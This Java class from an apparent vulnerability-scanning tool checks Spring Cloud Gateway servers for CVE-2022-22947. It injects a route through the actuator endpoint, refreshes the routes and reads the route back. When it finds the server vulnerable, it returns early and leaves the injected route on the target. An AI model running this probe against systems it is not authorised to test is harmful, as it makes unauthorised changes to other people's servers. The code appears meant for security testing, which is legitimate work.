package com.drops.poc;

import com.drops.entity.ControllersFactory;
import com.drops.ui.MainController;
import com.drops.utils.HTTPUtils;
import com.drops.utils.StringRandom;
import com.drops.utils.Utils;

import java.util.Locale;

/**
 * @ClassName: SpringCloudGatwayRCEPOC
 * @Description: TODO
 * @Author: Summer
 * @Date: 2022/4/17 16:55
 * @Version: v1.0.0
 * @Description:
                    CVE-2022-22947-Spring-Cloud-Gateway-SpelRCE
 **/
public class SpringCloudGatewayRCEPOC {

    private final MainController mainController;

    public SpringCloudGatewayRCEPOC( ) {
        this.mainController = (MainController) ControllersFactory.controllers.get(MainController.class.getSimpleName());

    }

    public boolean hasSpringCloudGatewayRCEPOC(String target) {
        String endpoint = "s" + StringRandom.getRandomString(5);
        String body = String.format("{\n" +
                "      \"id\": \"%s\",\n" +
                "      \"filters\": [{\n" +
                "        \"name\": \"AddResponseHeader\",\n" +
                "        \"args\": {\"name\": \"Result\",\"value\": \"%s\"}\n" +
                "        }],\n" +
                "      \"uri\": \"%s\",\n" +
                "      \"order\": 0\n" +
                "}", endpoint, endpoint, target);

        String re1 = HTTPUtils.postRequestjson(target , "actuator/gateway/routes/" + endpoint, body).toString();
        String re2 = HTTPUtils.postRequestV1(target , "actuator/gateway/refresh").toString();
        String re3 = HTTPUtils.getRequest(target , "actuator/gateway/routes/" + endpoint).toString();
        System.out.println("re1 = " + re1);
        System.out.println("re2 = " + re2);
        System.out.println("re3 = " + re3);
        if (re3.toLowerCase().contains(endpoint.toLowerCase())) {
            this.mainController.logTextArea.appendText(Utils.log("存在SpringCloudGatewayRCEPOC漏洞\n"));
            return true;
        }else {
            this.mainController.logTextArea.appendText(Utils.log("不存在SpringCloudGatewayRCEPOC漏洞\n"));
        }
        HTTPUtils.deleteRequest(target , "actuator/gateway/routes/" + endpoint);
        HTTPUtils.postRequestV1(target , "actuator/gateway/refresh");
        return false;
    }






}
